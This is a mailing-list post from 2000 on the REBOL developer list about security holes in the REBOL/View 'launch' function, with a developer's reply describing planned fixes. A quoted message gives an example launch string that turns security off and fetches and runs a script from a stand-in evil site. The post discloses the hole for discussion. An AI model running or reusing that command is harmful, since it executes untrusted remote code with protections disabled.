[ALLY] Launch security? Re:(4)
From: petr:krenzelok:trz:cz at: 16-Sep-2000 18:41
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From: <[jeff--rebol--com]>
To: <[ally--rebol--com]>
Sent: Saturday, September 16, 2000 5:23 PM
Subject: [ALLY] Launch security? Re:(3)
>
> >>> Frank ([fsievert--uos--de]) wrote:
> >>> I think that launch is
> >>> not a really good idea. What happens, when I say
> >>> launch {-s --do "do
http://www.very-evil-site.com/delete_all_stuff.r"}
> Launch is being changed to improve its security in two
> important ways:
>
> 1. Launch only works from the test panel -- so launched
> scripts can not launch others.
Uh! What a limitation, just checked out. Are we forced to write usefull
scripts using panel???
> 2. Launched scripts *should* always start with default
> security running, regardless of other monkey business
> that people do with the launch string.
>
> That's the basic idea. We really want to be able to use
> launch so if you see cases where the above is not the case
> or you think you see other risks involved with launch please
> let us know!
>
> The current behavior of launch isn't likely the final
> behavior, but we need something like launch in the meantime
> until we add mult-tasking. So let's patch the holes and
> make it useful.
1) Haha :-))) So, all hackers, save current /View versions for later usage,
till "dangerous" behavior is not removed :-)
2) Tasking? 8-) /me always wonder what are RT folks cooking behind the door
....
-pekr-